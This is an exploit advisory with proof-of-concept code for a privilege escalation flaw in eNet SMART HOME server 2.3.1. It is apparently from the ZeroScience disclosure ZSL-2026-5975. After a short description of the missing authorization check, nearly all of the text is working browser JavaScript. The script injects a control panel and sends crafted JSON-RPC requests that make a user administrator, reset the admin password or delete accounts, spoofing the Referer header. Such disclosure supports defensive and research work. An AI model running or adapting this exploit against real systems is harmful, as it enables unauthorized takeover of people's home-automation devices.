📄 eNet SMART HOME Server 2.3.1 Remote Privilege Escalation

/*
    
    eNet SMART HOME server 2.3.1 (setUserGroup) Remote Privilege Escalation
    
    
    Vendor: Gira Giersiepen GmbH & Co. KG | ALBRECHT JUNG GmbH & Co. KG | Insta GmbH
    Product web page: https://www.enet-smarthome.com
    Affected version: 2.3.1 (46841)
                      2.2.1 (46056)
    
    Summary: Two German specialists in building systems technology are jointly bringing
    a new, wireless-based smart home system to the market. Gira and JUNG are the companies
    behind the eNet SMART HOME brand with our subsidiary, INSTA, responsible for developing
    the system. All three of us are old hands when it comes to building automation, and
    have a history of connecting buildings in an intelligent way that goes back as far as
    the 80s. Gira, JUNG and INSTA were part of the group of companies that initiated and
    founded EIBA (now known as KNX). KNX is the first open global standard for home and
    building automation. Through KNX, we have decisively shaped the development of intelligent
    building systems technology – and this wealth of experience has now come together in
    eNet SMART HOME. The eNet server is the heart of every eNet SMART HOME system and
    offers end customers the basis for an easy-to-use and secure Smart Home and installation
    engineers easily understandable and professional commissioning of the system.
    
    Desc: The eNet Smart Home system suffers from a privilege escalation vulnerability due
    to insufficient authorization checks in the JSON-RPC endpoint for user management. A
    low-privileged user, can exploit the "setUserGroup" method by sending a crafted POST
    request to /jsonrpc/management, specifying their own username and elevating it to the
    "UG_ADMIN" group. This bypasses intended access controls, granting the attacker administrative
    capabilities such as modifying device configurations, network settings, and potentially
    compromising the entire smart home ecosystem.
    
    Tested on: GNU/Linux 4.4.15 (ARMv7 revision 5)
               Jetty(9.2.z-SNAPSHOT)
    
    
    Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                                @zeroscience
    
    
    Advisory ID: ZSL-2026-5975
    Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2026-5975.php
    
    
    07.02.2026
    
    */
    
    
    const existingContainer = document.getElementById('exploitSnippet');
    if (existingContainer) existingContainer.remove();
    
    const currentProtocol = window.location.protocol.slice(0, -1);
    const currentHost = window.location.hostname;
    const currentPort = window.location.port || (currentProtocol === 'https' ? '443' : '80');
    
    const urlParams = new URLSearchParams(window.location.search);
    let defaultIcp = urlParams.get('icp') || '';
    
    const formHtml = `
    <div id="exploitSnippet"
         style="position: fixed;
                bottom: 20px;
                right: 20px;
                width: 320px;
                background: #2f343a;
                color: #e4e7eb;
                padding: 20px;
                border: 1px solid #4a5560;
                border-radius: 8px;
                z-index: 9999;
                overflow-y: auto;
                max-height: 80vh;
                font-family: Arial, sans-serif;
                font-size: 14px;">
    
      <h3 style="margin-top: 0;
                 color: #cfd8e3;">
        eNet SMART HOME - DRE Exploit
      </h3>
    
      <label>Protocol:</label>
      <select id="protocol"
              style="width: 100%;
                     margin-bottom: 12px;
                     background: #3b4148;
                     color: #e4e7eb;
                     border: 1px solid #56606b;
                     border-radius: 4px;
                     padding: 6px;">
        <option value="https"
                ${currentProtocol === 'https' ? 'selected' : ''}>
          https://
        </option>
        <option value="http"
                ${currentProtocol === 'http' ? 'selected' : ''}>
          http://
        </option>
      </select>
    
      <label>Host/IP:</label>
      <input type="text"
             id="host"
             value="${currentHost}"
             style="width: 100%;
                    margin-bottom: 12px;
                    background: #3b4148;
                    color: #e4e7eb;
                    border: 1px solid #56606b;
                    border-radius: 4px;
                    padding: 6px;">
    
      <label>Port:</label>
      <input type="text"
             id="port"
             value="${currentPort}"
             style="width: 100%;
                    margin-bottom: 12px;
                    background: #3b4148;
                    color: #e4e7eb;
                    border: 1px solid #56606b;
                    border-radius: 4px;
                    padding: 6px;">
    
      <label>ICP:</label>
      <input type="text"
             id="icp"
             value="${defaultIcp}"
             style="width: 100%;
                    margin-bottom: 12px;
                    background: #3b4148;
                    color: #e4e7eb;
                    border: 1px solid #56606b;
                    border-radius: 4px;
                    padding: 6px;">
    
      <label>Action:</label>
      <select id="action"
              style="width: 100%;
                     margin-bottom: 12px;
                     background: #3b4148;
                     color: #e4e7eb;
                     border: 1px solid #56606b;
                     border-radius: 4px;
                     padding: 6px;">
        <option value="elevate">Elevate Privileges</option>
        <option value="reset">Reset Password</option>
        <option value="delete">Delete User</option>
      </select>
    
      <div id="elevateFields">
        <label>User Name:</label>
        <input type="text"
               id="userName"
               value="zeroscience"
               style="width: 100%;
                      margin-bottom: 12px;
                      background: #3b4148;
                      color: #e4e7eb;
                      border: 1px solid #56606b;
                      border-radius: 4px;
                      padding: 6px;">
    
        <label>User Group:</label>
        <select id="userGroup"
                style="width: 100%;
                       margin-bottom: 12px;
                       background: #3b4148;
                       color: #e4e7eb;
                       border: 1px solid #56606b;
                       border-radius: 4px;
                       padding: 6px;">
          <option value="UG_USER">UG_USER (lower privs)</option>
          <option value="UG_ADMIN">UG_ADMIN</option>
        </select>
      </div>
    
      <div id="resetFields" style="display: none;">
        <label>User Name:</label>
        <input type="text"
               id="resetUserName"
               value="admin"
               style="width: 100%;
                      margin-bottom: 12px;
                      background: #3b4148;
                      color: #e4e7eb;
                      border: 1px solid #56606b;
                      border-radius: 4px;
                      padding: 6px;">
    
        <label>Default Password:</label>
        <input type="text"
               id="defaultPassword"
               value="12345678"
               style="width: 100%;
                      margin-bottom: 12px;
                      background: #3b4148;
                      color: #e4e7eb;
                      border: 1px solid #56606b;
                      border-radius: 4px;
                      padding: 6px;">
      </div>
    
      <div id="deleteFields" style="display: none;">
        <label>User Name:</label>
        <input type="text"
               id="deleteUserName"
               value="zeroscience"
               style="width: 100%;
                      margin-bottom: 12px;
                      background: #3b4148;
                      color: #e4e7eb;
                      border: 1px solid #56606b;
                      border-radius: 4px;
                      padding: 6px;">
      </div>
    
      <label>Request ID:</label>
      <input type="text"
             id="requestId"
             value="14"
             style="width: 100%;
                    margin-bottom: 12px;
                    background: #3b4148;
                    color: #e4e7eb;
                    border: 1px solid #56606b;
                    border-radius: 4px;
                    padding: 6px;">
    
      <button id="runButton"
              type="button"
              style="background: #3a6ea5;
                     color: #ffffff;
                     border: 1px solid #2e5d8c;
                     padding: 8px 16px;
                     border-radius: 4px;
                     cursor: pointer;
                     margin-right: 10px;">
        RUN
      </button>
    
      <button id="closeButton"
              type="button"
              style="background: #5c6773;
                     color: #ffffff;
                     border: 1px solid #49525c;
                     padding: 8px 16px;
                     border-radius: 4px;
                     cursor: pointer;">
        Close
      </button>
    
      <div id="responseOutput"
           style="margin-top: 12px;
                  white-space: pre-wrap;
                  background: #252a30;
                  color: #d6dde5;
                  padding: 10px;
                  border: 1px solid #4a5560;
                  border-radius: 4px;
                  max-height: 200px;
                  overflow-y: auto;">
      </div>
    
    </div>
    `;
    
    document.body.insertAdjacentHTML('beforeend', formHtml);
    
    const actionSelect = document.getElementById('action');
    const runButton = document.getElementById('runButton');
    const closeButton = document.getElementById('closeButton');
    const responseOutput = document.getElementById('responseOutput');
    const elevateFields = document.getElementById('elevateFields');
    const resetFields = document.getElementById('resetFields');
    const deleteFields = document.getElementById('deleteFields');
    const requestIdInput = document.getElementById('requestId');
    
    const updateFields = (value) => {
      elevateFields.style.display = value === 'elevate' ? 'block' : 'none';
      resetFields.style.display = value === 'reset' ? 'block' : 'none';
      deleteFields.style.display = value === 'delete' ? 'block' : 'none';
      
      let defaultId = '14';
      if (value === 'reset') defaultId = '15';
      if (value === 'delete') defaultId = '6';
      requestIdInput.value = defaultId;
    };
    
    actionSelect.addEventListener('change', (e) => updateFields(e.target.value));
    
    updateFields(actionSelect.value);
    
    runButton.addEventListener('click', () => {
      const protocol = document.getElementById('protocol').value;
      const host = document.getElementById('host').value;
      const port = document.getElementById('port').value;
      const icp = document.getElementById('icp').value;
      const action = actionSelect.value;
      const requestId = requestIdInput.value;
    
      if (!icp) {
        responseOutput.textContent = 'Error: ICP is required.';
        console.error('ICP is required.');
        return;
      }
    
      responseOutput.textContent = 'Loading...';
    
      let method, params;
      if (action === 'elevate') {
        method = 'setUserGroup';
        params = {
          userName: document.getElementById('userName').value,
          userGroup: document.getElementById('userGroup').value
        };
      } else if (action === 'reset') {
        method = 'resetUserPassword';
        params = {
          userName: document.getElementById('resetUserName').value,
          defaultPassword: document.getElementById('defaultPassword').value
        };
      } else if (action === 'delete') {
        method = 'deleteUserAccount';
        params = {
          userName: document.getElementById('deleteUserName').value
        };
      }
    
      const baseUrl = `${protocol}://${host}:${port}`;
      const customReferer = `${baseUrl}/serverconfiguration.html?icp=${icp}#Usermanagement`;
      const fetchUrl = `${baseUrl}/jsonrpc/management`;
    
      const body = JSON.stringify({
        "jsonrpc": "2.0",
        "method": method,
        "params": params,
        "id": requestId
      });
    
      console.log('Sending request to:', fetchUrl);
      console.log('With Referer:', customReferer);
      console.log('Body:', body);
    
      const timeoutPromise = new Promise((_, reject) => 
        setTimeout(() => reject(new Error('Request timed out')), 10000)
      );
    
      Promise.race([timeoutPromise, fetch(fetchUrl, {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json; charset=utf-8',
          'Accept-Encoding': 'gzip, deflate, br',
          'Accept-Language': 'ku-MK,ku;j=1.7',
          'Accept': '*/*'
        },
        body: body,
        credentials: 'include',
        referrer: customReferer,
        referrerPolicy: 'unsafe-url'
      })])
      .then(response => {
        if (response instanceof Error) throw response;
        console.log('Response status:', response.status);
        if (!response.ok) {
          throw new Error(`HTTP error! Status: ${response.status}`);
        }
        return response.json();
      })
      .then(data => {
        const successMsg = `Success: ${JSON.stringify(data, null, 2)}`;
        responseOutput.textContent = successMsg;
        console.log(successMsg);
        setTimeout(() => location.reload(), 2000);
      })
      .catch(error => {
        const errorMsg = `Error: ${error.message}`;
        responseOutput.textContent = errorMsg;
        console.error(errorMsg);
      });
    });
    
    closeButton.addEventListener('click', () => {
      console.log('Closing form...');
      const container = document.getElementById('exploitSnippet');
      if (container) {
        container.remove();
        console.log('Form closed.');
      } else {
        console.log('Form not found.');
      }
    });